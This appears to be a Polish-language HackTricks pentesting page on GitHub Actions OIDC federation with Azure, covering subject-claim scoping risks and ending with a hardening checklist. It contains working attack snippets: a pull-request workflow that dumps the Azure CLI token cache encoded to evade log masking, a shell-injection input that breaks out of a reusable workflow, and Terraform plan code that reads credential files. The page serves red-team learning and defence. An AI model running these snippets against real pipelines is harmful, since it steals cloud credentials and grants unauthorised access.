Azure – Wykorzystywanie federacji (GitHub Actions OIDC / Workload Identity)

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Przegląd

GitHub Actions może federować się z Azure Entra ID (dawniej Azure AD) przy użyciu OpenID Connect (OIDC). Workflow GitHub żąda krótkotrwałego GitHub ID token (JWT), który zawiera szczegóły dotyczące uruchomienia. Azure weryfikuje ten token względem Federated Identity Credential (FIC) na App Registration (service principal) i wymienia go na Azure access tokens (MSAL cache, bearer tokens dla Azure APIs).

Azure weryfikuje co najmniej:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (podczas wymiany na tokeny Azure)
  • sub: musi odpowiadać skonfigurowanemu FIC Subject identifier

Domyślny GitHub aud może być adresem URL GitHub. Podczas wymiany z Azure, jawnie ustaw audience=api://AzureADTokenExchange.

GitHub ID token quick PoC

name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

Aby wymusić parametr audience Azure w żądaniu tokena:

OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure — konfiguracja (Workload Identity Federation)

  1. Utwórz App Registration (service principal) i przyznaj minimalne uprawnienia (np. Storage Blob Data Contributor na konkretnym storage account).

  2. Dodaj Federated identity credentials:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: ściśle ograniczony do zamierzonego kontekstu workflow/run (patrz Scoping and risks poniżej).
  1. Użyj azure/login, aby wymienić GitHub ID token i zalogować się do Azure CLI:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

Przykład ręcznej wymiany (pokazano zakres Graph; ARM lub inne zasoby analogicznie):

POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) — budowa i dostosowanie

Default sub format: repo:/:

Dostępne wartości context:

  • environment:
  • pull_request (PR triggers when not in an environment)
  • ref:refs/(heads|tags)/

Przydatne claims często obecne w payload:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Dostosuj kompozycję sub przez GitHub API, aby uwzględnić dodatkowe claims i zmniejszyć ryzyko kolizji:

gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

Uwaga: Dwukropki w nazwach środowisk są URL‑kodowane (%3A), co usuwa starsze sztuczki wstrzykiwania delimiterów przeciwko parsowaniu sub. Jednak używanie nieunikalnych subjectów (np. tylko environment:) nadal jest niebezpieczne.

Zakres i ryzyka typów podmiotów FIC

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • Ryzyko: Jeśli branch/tag nie jest chroniony, każdy contributor może wykonać push i uzyskać tokeny.
  • Environment: sub=repo:/:environment:
  • Ryzyko: Niechronione środowiska (brak reviewers) pozwalają contributorom mintować tokeny.
  • Pull request: sub=repo:/:pull_request
  • Największe ryzyko: Każdy współpracownik może otworzyć PR i spełnić FIC.

PoC: PR‑triggered token theft (wyeksfiltruj cache Azure CLI zapisywany przez azure/login):

name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

Powiązane lokalizacje plików i uwagi:

  • Linux/macOS: ~/.azure/msal_token_cache.json zawiera tokeny MSAL dla sesji az CLI
  • Windows: msal_token_cache.bin w profilu użytkownika; chroniony przez DPAPI

Workflowy wielokrotnego użytku i zakres job_workflow_ref

Wywołanie workflowu wielokrotnego użytku dodaje job_workflow_ref do GitHub ID token, np.:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

Przykład FIC do powiązania zarówno repozytorium wywołującego, jak i wielokrotnego użytku workflow:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

Skonfiguruj claims w caller repo tak, aby zarówno repo, jak i job_workflow_ref były obecne w sub:

PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Uwaga: Jeśli powiążesz tylko job_workflow_ref w FIC, atakujący może stworzyć inne repo w tej samej org, uruchomić ten sam reusable workflow na tym samym ref, spełnić FIC i mint tokens. Zawsze uwzględniaj również caller repo.

Wektory wykonania kodu, które omijają zabezpieczenia job_workflow_ref

Nawet przy prawidłowo ograniczonym job_workflow_ref, wszelkie dane kontrolowane przez caller, które trafią do shell bez bezpiecznego cytowania, mogą prowadzić do wykonania kodu w chronionym kontekście workflow.

Przykład podatnego reusable step (niezacytowana interpolacja):

- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

Złośliwe dane wejściowe od wywołującego służące do wykonania poleceń i wykradzenia Azure token cache:

with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan jako prymityw wykonawczy w PR-ach

Traktuj terraform plan jako wykonanie kodu. Podczas plan Terraform może:

  • Może odczytać dowolne pliki za pomocą funkcji takich jak file()
  • Może wykonać polecenia za pomocą external data source

Przykład exfiltrate Azure token cache podczas terraform plan:

output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

Lub użyj external, aby uruchomić dowolne polecenia:

data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Przyznanie FICs możliwych do użycia w planach wywoływanych przez PR ujawnia uprzywilejowane tokeny i może przygotować grunt pod destrukcyjny apply później. Używaj osobnych tożsamości dla plan vs apply; nigdy nie dopuszczaj uprzywilejowanych tokenów w nieufnych kontekstach PR.

Lista kontrolna utwardzenia

  • Nigdy nie używaj sub=…:pull_request dla wrażliwych FICs
  • Chroń każdy branch/tag/environment, na który wskazują FICs (branch protection, environment reviewers)
  • Preferuj FICs ograniczone zarówno do repo, jak i job_workflow_ref dla reusable workflows
  • Dostosuj GitHub OIDC sub, aby zawierało unikalne claims (np. repo, job_workflow_ref, repository_owner)
  • Usuń niecytowaną interpolację wejść wywołującego w run steps; koduj/cytuj bezpiecznie
  • Traktuj terraform plan jako wykonanie kodu; ogranicz lub izoluj tożsamości w kontekstach PR
  • Wymuś zasadę najmniejszych uprawnień dla App Registrations; oddziel tożsamości dla plan vs apply
  • Przypinaj actions i reusable workflows do commit SHAs (unikaj przypinania do branch/tag)

Wskazówki do testów ręcznych

  • Zażądaj GitHub ID token w workflow i wydrukuj go w base64, aby uniknąć maskowania
  • Zdekoduj JWT, aby sprawdzić claims: iss, aud, sub, job_workflow_ref, repository, ref
  • Ręcznie wymień ID token przeciwko login.microsoftonline.com, aby potwierdzić dopasowanie FIC i zakresy
  • Po azure/login odczytaj ~/.azure/msal_token_cache.json, aby zweryfikować obecność materiału tokenu

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks